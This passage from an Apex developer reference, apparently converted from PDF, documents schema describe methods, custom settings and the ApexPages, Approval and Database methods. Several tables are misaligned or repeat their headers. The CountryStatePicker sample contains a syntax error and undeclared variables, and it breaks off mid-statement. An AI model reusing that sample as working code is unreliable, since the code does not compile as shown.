In addition to the `getRecordTypeInfos` method, you can use the `getRecordTypeInfosById` and the `getRecordTypeInfosByName` methods. These methods return maps that associate `RecordTypeInfo` with record IDs and record names, respectively.

You can only return 100 `RecordTypeInfo` objects per Apex request. For more information about governor limits, see Understanding Execution Governors and Limits on page 188.

The following example assumes at least one record type has been created for the Account object:

```apex
RecordType rt = [select id,name from RecordType where SobjectType='Account' limit 1];
Map<Id,Schema.RecordTypeInfo> rtMapById = d.getRecordTypeInfosById();
Schema.RecordTypeInfo rtById = rtMapById.get(rt.id);
Map<String,Schema.RecordTypeInfo> rtMapByName = d.getRecordTypeInfosByName();
Schema.RecordTypeInfo rtByName = rtMapByName.get(rt.name);
System.assertEquals(rtById,rtByName);
```

The following table describes the methods available as part of the `RecordTypeInfo` object. None of the methods take an argument.

<table>
<thead>
<tr>
<th>Name</th>
<th>Data Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>getName</code></td>
<td>String</td>
<td>Returns the name of this record type</td>
</tr>
<tr>
<td><code>getRecordTypeId</code></td>
<td>ID</td>
<td>Returns the ID of this record type</td>
</tr>
<tr>
<td><code>isAvailable</code></td>
<td>Boolean</td>
<td>Returns <code>true</code> if this record type is available to the current user, <code>false</code> otherwise. Use this method to display a list of available record types to the user when he or she is creating a new record.</td>
</tr>
<tr>
<td><code>isDefaultRecordTypeMapping</code></td>
<td>Boolean</td>
<td>Returns <code>true</code> if this is the default record type mapping, <code>false</code> otherwise.</td>
</tr>
</tbody>
</table>

**Describe Field Result Methods**

The following table describes the methods available as part of the field describe result. The following is an example of how to instantiate a field describe result object:

```apex
Schema.DescribeFieldResult F = Account.AccountNumber.getDescribe();
```

None of the methods take an argument.

<table>
<thead>
<tr>
<th>Name</th>
<th>Data Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>getByteLength</code></td>
<td>Integer</td>
<td>For variable-length fields (including binary fields), returns the maximum size of the field, in bytes</td>
</tr>
<tr>
<td><code>getCalculatedFormula</code></td>
<td>String</td>
<td>Returns the formula specified for this field</td>
</tr>
<tr>
<td><code>getController</code></td>
<td><code>Schema.sObjectField</code></td>
<td>Returns the token of the controlling field</td>
</tr>
<tr>
<td><code>getDefaultValue</code></td>
<td>Object</td>
<td>Returns the default value for this field</td>
</tr>
<tr>
<td><code>getDefaultValueFormula</code></td>
<td>String</td>
<td>Returns the default value specified for this field if a formula is not used</td>
</tr>
<tr>
<td>Name</td>
<td>Data Type</td>
<td>Description</td>
</tr>
<tr>
<td>-----------------------</td>
<td>----------------------</td>
<td>-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>getDigits</td>
<td>Integer</td>
<td>Returns the maximum number of digits specified for the field. This method is only valid with Integer fields.</td>
</tr>
<tr>
<td>getInlineHelpText</td>
<td>String</td>
<td>Returns the content of the field-level help. For more information, see “Defining Field-Level Help” in the Salesforce online help.</td>
</tr>
<tr>
<td>getLabel</td>
<td>String</td>
<td>Returns the text label that is displayed next to the field in the Salesforce user interface. This label can be localized.</td>
</tr>
<tr>
<td>getLength</td>
<td>Integer</td>
<td>For string fields, returns the maximum size of the field in Unicode characters (not bytes).</td>
</tr>
<tr>
<td>getLocalName</td>
<td>String</td>
<td>Returns the name of the field, similar to the getName method. However, if the field is part of the current namespace, the namespace portion of the name is omitted.</td>
</tr>
<tr>
<td>getName</td>
<td>String</td>
<td>Returns the field name used in Apex.</td>
</tr>
<tr>
<td>getPicklistValues</td>
<td>List &lt;Schema.PicklistEntry&gt;</td>
<td>Returns a list of PicklistEntry objects. A runtime error is returned if the field is not a picklist.</td>
</tr>
<tr>
<td>getPrecision</td>
<td>Integer</td>
<td>For fields of type Double, returns the maximum number of digits that can be stored, including all numbers to the left and to the right of the decimal point (but excluding the decimal point character)</td>
</tr>
<tr>
<td>getReferenceTo</td>
<td>List &lt;Schema.sObjectType&gt;</td>
<td>Returns a list of Schema.sObjectType objects for the parent objects of this field. If the isNamePointing method returns true, there is more than one entry in the list, otherwise there is only one.</td>
</tr>
<tr>
<td>getRelationshipName</td>
<td>String</td>
<td>Returns the name of the relationship. For more information about relationships and relationship names, see Understanding Relationship Names in the Web Services API Developer’s Guide.</td>
</tr>
<tr>
<td>getRelationshipOrder</td>
<td>Integer</td>
<td>Returns 1 if the field is a child, 0 otherwise. For more information about relationships and relationship names, see Understanding Relationship Names in the Web Services API Developer’s Guide.</td>
</tr>
<tr>
<td>getScale</td>
<td>Integer</td>
<td>For fields of type Double, returns the number of digits to the right of the decimal point. Any extra digits to the right of the decimal point are truncated. This method returns a fault response if the number has too many digits to the left of the decimal point.</td>
</tr>
<tr>
<td>getSOAPType</td>
<td>Schema.SOAPType</td>
<td>Returns one of the SoapType enum values, depending on the type of field. For more information, see Schema.SOAPType Enum Values on page 285.</td>
</tr>
<tr>
<td>getSObjectField</td>
<td>Schema.sObjectField</td>
<td>Returns the token for this field</td>
</tr>
<tr>
<td>getType</td>
<td>Schema.DisplayType</td>
<td>Returns one of the DisplayType enum values, depending on the type of field. For more information, see Schema.DisplayType Enum Values.</td>
</tr>
<tr>
<td>Name</td>
<td>Data Type</td>
<td>Description</td>
</tr>
<tr>
<td>--------------------------</td>
<td>-----------</td>
<td>---------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>isAccessible</td>
<td>Boolean</td>
<td>Returns true if the current user can see this field, false otherwise. See Schema.DisplayType Enum Values on page 283.</td>
</tr>
<tr>
<td>isAutoNumber</td>
<td>Boolean</td>
<td>Returns true if the field is an Auto Number field, false otherwise. Analogous to a SQL IDENTITY type, Auto Number fields are read-only, non-createable text fields with a maximum length of 30 characters. Auto Number fields are used to provide a unique ID that is independent of the internal object ID (such as a purchase order number or invoice number). Auto Number fields are configured entirely in the Salesforce user interface.</td>
</tr>
<tr>
<td>isCalculated</td>
<td>Boolean</td>
<td>Returns true if the field is a custom formula field, false otherwise. Note that custom formula fields are always read-only.</td>
</tr>
<tr>
<td>isCaseSensitive</td>
<td>Boolean</td>
<td>Returns true if the field is case sensitive, false otherwise.</td>
</tr>
<tr>
<td>isCreateable</td>
<td>Boolean</td>
<td>Returns true if the field can be created by the current user, false otherwise.</td>
</tr>
<tr>
<td>isCustom</td>
<td>Boolean</td>
<td>Returns true if the field is a custom field, false if it is a standard object</td>
</tr>
<tr>
<td>isDefaultedOnCreate</td>
<td>Boolean</td>
<td>Returns true if the field receives a default value when created, false otherwise. If true, Salesforce implicitly assigns a value for this field when the object is created, even if a value for this field is not passed in on the create call. For example, in the Opportunity object, the Probability field has this attribute because its value is derived from the Stage field. Similarly, the Owner has this attribute on most objects because its value is derived from the current user (if the Owner field is not specified).</td>
</tr>
<tr>
<td>isDependentPicklist</td>
<td>Boolean</td>
<td>Returns true if the picklist is a dependent picklist, false otherwise.</td>
</tr>
<tr>
<td>isDeprecatedAndHidden</td>
<td>Boolean</td>
<td>Reserved for future use.</td>
</tr>
<tr>
<td>isExternalID</td>
<td>Boolean</td>
<td>Returns true if the field is used as an external ID, false otherwise.</td>
</tr>
<tr>
<td>isFilterable</td>
<td>Boolean</td>
<td>Returns true if the field can be used as part of the filter criteria of a WHERE statement, false otherwise.</td>
</tr>
<tr>
<td>isGroupable</td>
<td>Boolean</td>
<td>Returns true if the field can be included in the GROUP BY clause of a SOQL query, false otherwise. This method is only available for Apex.</td>
</tr>
<tr>
<td>Name</td>
<td>DataType</td>
<td>Description</td>
</tr>
<tr>
<td>---------------------------------</td>
<td>----------</td>
<td>-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>isHtmlFormatted</td>
<td>Boolean</td>
<td>Returns <code>true</code> if the field has been formatted for HTML and should be encoded for display in HTML, <code>false</code> otherwise. One example of a field that returns <code>true</code> for this method is a hyperlink custom formula field. Another example is a custom formula field that has an IMAGE text function.</td>
</tr>
<tr>
<td>isIdLookup</td>
<td>Boolean</td>
<td>Returns <code>true</code> if the field can be used to specify a record in an <code>upsert</code> method, <code>false</code> otherwise</td>
</tr>
<tr>
<td>isNameField</td>
<td>Boolean</td>
<td>Returns <code>true</code> if the field is a name field, <code>false</code> otherwise. This method is used to identify the name field for standard objects (such as <code>AccountName</code> for an <code>Account</code> object) and custom objects. Objects can only have one name field, except where the <code>FirstName</code> and <code>LastName</code> fields are used instead (such as on the <code>Contact</code> object). If a compound name is present, for example, the <code>Name</code> field on a person account, <code>isNameField</code> is set to <code>true</code> for that record.</td>
</tr>
<tr>
<td>isNamePointing</td>
<td>Boolean</td>
<td>Returns <code>true</code> if the field can have multiple types of objects as parents. For example, a task can have both the <code>Contact/Lead ID (WhoId)</code> field and the <code>Opportunity/Account ID (WhatId)</code> field return <code>true</code> for this method, because either of those objects can be the parent of a particular task record. This method returns <code>false</code> otherwise.</td>
</tr>
<tr>
<td>isNillable</td>
<td>Boolean</td>
<td>Returns <code>true</code> if the field is nillable, <code>false</code> otherwise. A nillable field can have empty content. A non-nillable field must have a value for the object to be created or saved.</td>
</tr>
<tr>
<td>isRestrictedPicklist</td>
<td>Boolean</td>
<td>Returns <code>true</code> if the field is a restricted picklist, <code>false</code> otherwise</td>
</tr>
<tr>
<td>isSortable</td>
<td>Boolean</td>
<td>Returns <code>true</code> if a query can sort on the field, <code>false</code> otherwise</td>
</tr>
<tr>
<td>isUnique</td>
<td>Boolean</td>
<td>Returns <code>true</code> if the value for the field must be unique, <code>false</code> otherwise</td>
</tr>
<tr>
<td>isUpdateable</td>
<td>Boolean</td>
<td>Returns <code>true</code> if the field can be edited by the current user, <code>false</code> otherwise</td>
</tr>
<tr>
<td>isWriteRequiresMasterRead</td>
<td>Boolean</td>
<td>Returns <code>true</code> if writing to the detail object requires read sharing instead of read/write sharing of the parent.</td>
</tr>
</tbody>
</table>
**Schema.DisplayType Enum Values**

A Schema.DisplayType enum value is returned by the field describe result’s `getType` method. For more information, see Field Types in the Web Services API Developer’s Guide. For more information about the methods shared by all enums, see Enum Methods on page 268.

<table>
<thead>
<tr>
<th>Type Field Value</th>
<th>What the Field Object Contains</th>
</tr>
</thead>
<tbody>
<tr>
<td>anytype</td>
<td>Any value of the following types: String, Picklist, Boolean, Integer, Double, Percent, ID, Date, DateTime, URL, or Email.</td>
</tr>
<tr>
<td>base64</td>
<td>Base64-encoded arbitrary binary data (of type base64Binary)</td>
</tr>
<tr>
<td>Boolean</td>
<td>Boolean (true or false) values</td>
</tr>
<tr>
<td>Combobox</td>
<td>Comboboxes, which provide a set of enumerated values and allow the user to specify a value not in the list</td>
</tr>
<tr>
<td>Currency</td>
<td>Currency values</td>
</tr>
<tr>
<td>Date</td>
<td>Date values</td>
</tr>
<tr>
<td>DateTime</td>
<td>DateTime values</td>
</tr>
<tr>
<td>Double</td>
<td>Double values</td>
</tr>
<tr>
<td>Email</td>
<td>Email addresses</td>
</tr>
<tr>
<td>EncryptedString</td>
<td>Encrypted string</td>
</tr>
<tr>
<td>ID</td>
<td>Primary key field for an object</td>
</tr>
<tr>
<td>Integer</td>
<td>Integer values</td>
</tr>
<tr>
<td>MultiPicklist</td>
<td>Multi-select picklists, which provide a set of enumerated values from which multiple values can be selected</td>
</tr>
<tr>
<td>Percent</td>
<td>Percent values</td>
</tr>
<tr>
<td>Phone</td>
<td>Phone numbers. Values can include alphabetic characters. Client applications are responsible for phone number formatting.</td>
</tr>
<tr>
<td>Picklist</td>
<td>Single-select picklists, which provide a set of enumerated values from which only one value can be selected</td>
</tr>
<tr>
<td>Reference</td>
<td>Cross-references to a different object, analogous to a foreign key field</td>
</tr>
<tr>
<td>String</td>
<td>String values</td>
</tr>
<tr>
<td>TextArea</td>
<td>String values that are displayed as multiline text fields</td>
</tr>
<tr>
<td>Time</td>
<td>Time values</td>
</tr>
<tr>
<td>URL</td>
<td>URL values that are displayed as hyperlinks</td>
</tr>
</tbody>
</table>

**Schema.PicklistEntry Methods**

Picklist fields contain a list of one or more items from which a user chooses a single item. They display as drop-down lists in the Salesforce user interface. One of the items can be configured as the default item.
A Schema.PicklistEntry object is returned from the field describe result using the `getPicklistValues` method. For example:

```java
Schema.DescribeFieldResult F = Account.Industry.getDescribe();
List<Schema.PicklistEntry> P = F.getPicklistValues();
```

You can only use 100 `getPicklistValue` method calls per Apex request. For more information about governor limits, see Understanding Execution Governors and Limits on page 188.

The following table describes the methods available as part of the PicklistEntry object. None of the methods take an argument.

<table>
<thead>
<tr>
<th>Name</th>
<th>Data Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>getLabel</code></td>
<td>String</td>
<td>Returns the display name of this item in the picklist</td>
</tr>
<tr>
<td><code>getValue</code></td>
<td>String</td>
<td>Returns the value of this item in the picklist</td>
</tr>
<tr>
<td><code>isActive</code></td>
<td>Boolean</td>
<td>Returns <code>true</code> if this item must be displayed in the drop-down list for the</td>
</tr>
<tr>
<td></td>
<td></td>
<td>picklist field in the user interface, <code>false</code> otherwise</td>
</tr>
<tr>
<td><code>isDefaultValue</code></td>
<td>Boolean</td>
<td>Returns <code>true</code> if this item is the default value for the picklist, <code>false</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td>otherwise. Only one item in a picklist can be designated as the default.</td>
</tr>
</tbody>
</table>

**Schema.sObjectField**

A Schema.sObjectField object is returned from the field describe result using the `getController` and `getSObjectField` methods. For example:

```java
Schema.DescribeFieldResult F = Account.Industry.getDescribe();
Schema.sObjectField T = F.getSObjectField();
```

The following table describes the method available as part of the sObjectField object. This method does not take an argument.

<table>
<thead>
<tr>
<th>Name</th>
<th>Data Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>getDescribe</code></td>
<td>Schema.DescribeFieldResult</td>
<td>Returns the describe field result for this field.</td>
</tr>
</tbody>
</table>

**Schema.sObjectType**

A Schema.sObjectType object is returned from the field describe result using the `getReferenceTo` method, or from the sObject describe result using the `getSObjectType` method. For example:

```java
Schema.DescribeFieldResult F = Account.Industry.getDescribe();
List<Schema.sObjectType> P = F.getReferenceTo();
```

The following table describes the methods available as part of the sObjectType object.

<table>
<thead>
<tr>
<th>Name</th>
<th>Argument</th>
<th>Data Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>getDescribe</code></td>
<td></td>
<td>Schema.DescribeSObjectResult</td>
<td>Returns the describe sObject result for this field.</td>
</tr>
<tr>
<td><code>newSObject</code></td>
<td></td>
<td>sObject</td>
<td>Constructs a new sObject of this type.</td>
</tr>
<tr>
<td><code>newSObject</code></td>
<td>Id</td>
<td>sObject</td>
<td>Constructs a new sObject of this type, with the specified Id.</td>
</tr>
</tbody>
</table>
Schema.SOAPType Enum Values

A schema.SOAPType enum value is returned by the field describe result `getSoapType` method.

For more information, see SOAPTypes in the Web Services API Developer’s Guide. For more information about the methods shared by all enums, see Enum Methods on page 268.

<table>
<thead>
<tr>
<th>Type Field Value</th>
<th>What the Field Object Contains</th>
</tr>
</thead>
<tbody>
<tr>
<td>anytype</td>
<td>Any value of the following types: String, Boolean, Integer, Double, ID, Date or Date Time.</td>
</tr>
<tr>
<td>base64</td>
<td>Base64-encoded arbitrary binary data (of type base64Binary)</td>
</tr>
<tr>
<td>Boolean</td>
<td>Boolean (true or false) values</td>
</tr>
<tr>
<td>Date</td>
<td>Date values</td>
</tr>
<tr>
<td>DateTime</td>
<td>Date Time values</td>
</tr>
<tr>
<td>Double</td>
<td>Double values</td>
</tr>
<tr>
<td>ID</td>
<td>Primary key field for an object</td>
</tr>
<tr>
<td>Integer</td>
<td>Integer values</td>
</tr>
<tr>
<td>String</td>
<td>String values</td>
</tr>
<tr>
<td>Time</td>
<td>Time values</td>
</tr>
</tbody>
</table>

Custom Settings Methods

Custom settings methods are all instance methods, that is, they are called by and operate on a particular instance of a custom setting. There are two types of custom settings: hierarchy and list. The methods are divided into those that work with list custom settings, and those that work with hierarchy custom settings.

The following are the instance methods for list custom settings.

**Table 1: List Custom Settings Methods**

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getAll</td>
<td></td>
<td>Map&lt;String</td>
<td>Returns a map of the data sets defined for the custom setting.</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Data_set_name,</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>CustomSetting__c</td>
<td></td>
</tr>
<tr>
<td>getInstance</td>
<td>String</td>
<td>CustomSetting__c</td>
<td>Returns the custom setting data set for the specified dataset_name. This method returns the exact same object as <code>getValues(dataset_name)</code>.</td>
</tr>
<tr>
<td></td>
<td>dataset_name</td>
<td></td>
<td></td>
</tr>
<tr>
<td>getValues</td>
<td>String</td>
<td>CustomSetting__c</td>
<td>Returns the custom setting data set for the specified dataset_name. This method returns the exact same object as <code>getInstance(dataset_name)</code>.</td>
</tr>
<tr>
<td></td>
<td>dataset_name</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

The following are the instance methods for hierarchy custom settings:
<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getInstance</td>
<td></td>
<td>CustomSetting__c</td>
<td>Returns the “lowest level” custom setting record based on the running user. For example, if you have data defined for the user “Uriel Jones,” for the profile “System Administrator,” and for the organization as a whole, and the user running the code is Uriel Jones, this method returns the data set defined for Uriel Jones. If the running user was “Barbara Mahonie,” who also shared the “System Administrator” profile, but no data was defined for Barbara as a user, this method returns the data set defined at the profile level.</td>
</tr>
<tr>
<td>getInstance</td>
<td>ID User_Id</td>
<td>CustomSetting__c</td>
<td>Returns the custom setting data set for the specified User_Id. Use this when you want to explicitly retrieve data for the custom setting at the user level.</td>
</tr>
<tr>
<td>getInstance</td>
<td>ID Profile_Id</td>
<td>CustomSetting__c</td>
<td>Returns the custom setting data set for the specified Profile_Id. Use this when you want to explicitly retrieve data for the custom setting at the profile level.</td>
</tr>
<tr>
<td>getOrgDefaults</td>
<td></td>
<td>CustomSetting__c</td>
<td>Returns the custom setting data set for the organization.</td>
</tr>
<tr>
<td>getValues</td>
<td>ID User_Id</td>
<td>CustomSetting__c</td>
<td>Returns the custom setting data set for the specified User_Id. Use this if you only want the subset of custom setting data that has been defined at the user level. For example, suppose you have a custom setting field that has been assigned a value of &quot;foo&quot; at the organizational level, but has no value assigned at the user or profile level. Using getValues(User_Id) returns NULL for this custom setting field.</td>
</tr>
<tr>
<td>getValues</td>
<td>ID Profile_Id</td>
<td>CustomSetting__c</td>
<td>Returns the custom setting data set for the specified Profile_Id. Use this if you only want the subset of custom setting data that has been defined at the profile level. For example, suppose you have a custom setting field that has been assigned a value of &quot;foo&quot; at the organizational level, but has no value assigned at the user or profile level. Using getValues(Profile_Id) returns NULL for this custom setting field.</td>
</tr>
</tbody>
</table>

For more information on custom settings, see “Custom Settings Overview” in the Salesforce online help.

**Custom Setting Examples**

The following example uses a list custom setting called Games. Games has a field called GameType. This example determines if the value of the first data set is equal to the string PC.

```apex
List<Games__c> mcs = Games__c.getall().values();
boolean textField = null;
if (mcs[0].GameType__c == 'PC') {
    textField = true;
}
System.assertEquals(textField, true);
```
The following example uses a custom setting from *Country and State Code Custom Settings Example*. This example demonstrates that the `getValues` and `getInstance` methods list custom setting return identical values.

```apex
Foundation_Countries__c myCS1 = Foundation_Countries__c.getValues('United States');
String myCCVal = myCS1.Country_code__c;
Foundation_Countries__c myCS2 = Foundation_Countries__c.getInstance('United States');
String myCCInst = myCS2.Country_code__c;
System.assertEquals(myCCInst, myCCVal);
```

**Hierarchy Custom Setting Examples**

In the following example, the hierarchy custom setting *GamesSupport* has a field called *Corporate_number*. The code returns the value for the profile specified with `pid`.

```apex
GamesSupport__c mhc = GamesSupport__c.getInstance(pid);
String mPhone = mhc.Corporate_number__c;
```

The example is identical if you choose to use the `getValues` method.

The following example uses a hierarchy custom setting called *Hierarchy*. *Hierarchy* has two fields: `OverrideMe` and `DontOverrideMe`. In addition, a user named Robert has a System Administrator profile. The organization, profile, and user settings for this example are as follows:

**Organization settings**

- **OverrideMe**: Hello
- **DontOverrideMe**: World

**Profile settings**

- **OverrideMe**: Goodbye
- **DontOverrideMe** is not set.

**User settings**

- **OverrideMe**: Fluffy
- **DontOverrideMe** is not set.

The following example demonstrates the result of the `getInstance` method if Robert calls it in his organization:

```apex
Hierarchy__c CS = Hierarchy__c.getInstance();
System.Assert(CS.OverrideMe__c == 'Fluffy');
System.assert(CS.DontOverrideMe__c == 'World');
```

If Robert passes his user ID specified by `RobertId` to `getInstance`, the results are the same. This is because the lowest level of data in the custom setting is specified at the user level.

```apex
Hierarchy__c CS = Hierarchy__c.getInstance(RobertId);
System.Assert(CS.OverrideMe__c == 'Fluffy');
System.assert(CS.DontOverrideMe__c == 'World');
```

If Robert passes the System Administrator profile ID specified by `SysAdminID` to `getInstance`, the result is different. The data specified for the profile is returned:

```apex
Hierarchy__c CS = Hierarchy__c.getInstance(SysAdminID);
System.Assert(CS.OverrideMe__c == 'Goodbye');
System.assert(CS.DontOverrideMe__c == 'World');
```
When Robert tries to return the data set for the organization using `getOrgDefaults`, the result is:

```java
Hierarchy__c CS = Hierarchy__c.getOrgDefaults();
System.Assert(CS.OverrideMe__c == 'Hello');
System.assert(CS.DontOverrideMe__c == 'World');
```

By using the `getValues` method, Robert can get the hierarchy custom setting values specific to his user and profile settings. For example, if Robert passes his user ID `RobertId` to `getValues`, the result is:

```java
Hierarchy__c CS = Hierarchy__c.getValues(RobertId);
System.Assert(CS.OverrideMe__c == 'Fluffy');
// Note how this value is null, because you are returning
// data specific for the user
System.assert(CS.DontOverrideMe__c == null);
```

If Robert passes his System Administrator profile ID `SysAdminID` to `getValues`, the result is:

```java
Hierarchy__c CS = Hierarchy__c.getValues(SysAdminID);
System.Assert(CS.OverrideMe__c == 'Goodbye');
// Note how this value is null, because you are returning
// data specific for the profile
System.assert(CS.DontOverrideMe__c == null);
```

**Country and State Code Custom Settings Example**

This example illustrates using two custom setting objects for storing related information, and a Visualforce page to display the data in a set of related picklists.

In the following example, country and state codes are stored in two different custom settings: `Foundation_Countries` and `Foundation_States`.

The `Foundation_Countries` custom setting is a list type custom setting, and has a single field, `Country_Code`.

The `Foundation_States` custom setting is also a List type of custom setting and has the following fields:

- Country Code
- State Code
- State Name
The Visualforce page shows two picklists: one for country, and one for state.
The Apex controller `CountryStatePicker` finds the values entered into the custom settings, then returns them to the Visualforce page.

```apex
public with sharing class CountryStatePicker {

// Variables to store country and state selected by user
public String state { get; set; }
public String country {get; set;)

// Generates country dropdown from country settings
public List<SelectOption> getCountriesSelectList() {
    List<SelectOption> options = new List<SelectOption>();
    options.add(new SelectOption('', '-- Select One --'));

    // Find all the countries in the custom setting
    Map<String, Foundation_Countries__c> countries = Foundation_Countries__c.getAll();
    countryNames.addAll(countries.keySet());
    countryNames.sort();

    // Create the Select Options.
    for (String countryName : countryNames) {
        Foundation_Countries__c country = countries.get(countryName);
        options.add(new SelectOption(country.country_code__c, country.Name));
    }
    return options;
}

// To generate the states picklist based on the country selected by user.
public List<SelectOption> getStatesSelectList() {
    List<SelectOption> options = new List<SelectOption>();
    // Find all the states we have in custom settings.
    Map<String, Foundation_States__c> states = Foundation_States__c.getAll();
    for(Foundation_States__c state : allstates.values()) {
        if (state.country_code__c == this.country) {
            states.put(state.country, state.state_name__c);
        }
    }
    // Sort the states based on their names
    List<String> stateNames = new List<String>();
    stateNames.addAll(states.keySet());
    stateNames.sort();

    // Generate the Select Options based on the final sorted list
    for (String stateName : stateNames) {
        Foundation_States__c state = states.get(stateName);
        options.add(new SelectOption(state.state_code__c, state.state_name__c));
    }

    // If no states are found, just say not required in the dropdown.
    if (options.size() > 0) {
        options.add(0, new SelectOption('', '-- Select One --'));
    } else {
```

```apex
```

Reference Apex sObject Methods
System Methods

Apex System Methods

The following Apex system methods are specialized classes and methods for manipulating data:

- **ApexPages**
- **Approval**
- **Database**
  - Database Batch
  - Database DMLOptions
  - Database EmptyRecycleBinResult
  - Database Error
- **Limits**
- **Math**
- **Package**
- **Search**
- **System**
- **Test**

ApexPages Methods

Use ApexPages to add and check for messages associated with the current page, as well as to reference the current page. In addition, ApexPages is used as a namespace for the `PageReference` and `Message` classes.

The following table lists the ApexPages methods:

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>addMessage</td>
<td>sObject</td>
<td>Void</td>
<td>Add a message to the current page context.</td>
</tr>
<tr>
<td>addMessages</td>
<td>Exception ex</td>
<td>Void</td>
<td>Adds a list of messages to the current page context based on a thrown exception.</td>
</tr>
<tr>
<td>getMessages</td>
<td>ApexPages.Message[]</td>
<td>Boolean</td>
<td>Returns a list of the messages associated with the current context.</td>
</tr>
<tr>
<td>hasMessages</td>
<td>Boolean</td>
<td></td>
<td>Returns <code>true</code> if there are messages associated with the current context, <code>false</code> otherwise.</td>
</tr>
<tr>
<td>hasMessages</td>
<td>ApexPages.Severity</td>
<td>Boolean</td>
<td>Returns <code>true</code> if messages of the specified severity exist, <code>false</code> otherwise.</td>
</tr>
</tbody>
</table>
# Approval Methods

The following table lists the static Approval methods. Approval is also used as a namespace for the `ProcessRequest` and `ProcessResult` classes.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
</table>
| `process` | `Approval.ProcessRequest` | `Approval.ProcessResult` | Submits a new approval request and approves or rejects existing approval requests. For example:  
```java  
// Insert an account  
Account a = new Account(Name='Test', annualRevenue=100.0);  
insert a;  
// Create an approval request for the account  
Approval.ProcessSubmitRequest req1 = new Approval.ProcessSubmitRequest();  
req1.setObjectId(a.id);  
// Submit the approval request for the account  
Approval.ProcessResult result = Approval.process(req1);  
```  |
| `process` | `Approval.ProcessRequest ProcessRequests` | `Approval.ProcessResult` | Submits a new approval request and approves or rejects existing approval requests. The optional `opt_allOrNone` parameter specifies whether the operation allows for partial success. If you specify false for this parameter and an approval fails, the remainder of the approval processes can still succeed. |
| `process` | `[] Approval.ProcessRequest ProcessRequests` | `[] Approval.ProcessResult` | Submits a list of new approval requests, and approves or rejects existing approval requests. |
| `process` | `[] Approval.ProcessRequest ProcessRequests` | `[] Approval.ProcessResult` | Submits a list of new approval requests, and approves or rejects existing approval requests. The optional `opt_allOrNone` parameter specifies whether the operation allows for partial success. If you specify false for this parameter and an approval fails, the remainder of the approval processes can still succeed. |

For more information on Apex approval processing, see [Apex Approval Processing Classes](#) on page 403.

# Database Methods

The following are the system static methods for Database.
<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
</table>
| convertLead | LeadConvert
leadToConvert,
Boolean opt_allOrNone | Database.
LeadConvertResult | Converts a lead into an account and contact, as well as (optionally) an opportunity. The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. |
| convertLead | LeadConvert[]
leadsToConvert
Boolean opt_allOrNone | Database.
LeadConvertResult[] | Converts a list of LeadConvert objects into accounts and contacts, as well as (optionally) opportunities. The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. |
| countQuery | String query | Integer | Returns the number of records that a dynamic SOQL query would return when executed. For example,

```java
String QueryString = 'SELECT count() FROM Account';
Integer I = Database.countQuery(QueryString);
```
For more information, see Dynamic SOQL on page 151. |
| delete | SObject recordToDelete
Boolean opt_allOrNone | DeleteResult | Deletes an existing sObject record, such as an individual account or contact, from your organization's data. delete is analogous to the delete() statement in the Web services API. The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. |
| delete | SObject[] recordsToDelete
Boolean opt_allOrNone | DeleteResult[] | Deletes a list of existing sObject records, such as individual accounts or contacts, from your organization's data. delete is analogous to the delete() statement in the Web services API. The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. |
## Name | Arguments | Return Type | Description
--- | --- | --- | ---
delete | RecordID ID, Boolean opt_allOrNone | DeleteResult | Deletes existing `sObject` records, such as individual accounts or contacts, from your organization's data. `delete` is analogous to the `delete()` statement in the Web services API.

The optional `opt_allOrNone` parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why.

delete | RecordIDs []Ids, Boolean opt_allOrNone | DeleteResult[] | Deletes a list of existing `sObject` records, such as individual accounts or contacts, from your organization's data. `delete` is analogous to the `delete()` statement in the Web services API.

The optional `opt_allOrNone` parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why.

dbmEmptyRecycleBin | RecordIds []Ids | Database. EmptyRecycleBin Result[] | Permanently deletes the specified records from the recycle bin. Note the following:

- After records are deleted using this method they cannot be undeleted.
- Only 10,000 records can be specified for deletion.
- The logged in user can delete any record that he or she can query in their recycle bin, or the recycle bins of any subordinates. If the logged in user has “Modify All Data” permission, he or she can query and delete records from any recycle bin in the organization.
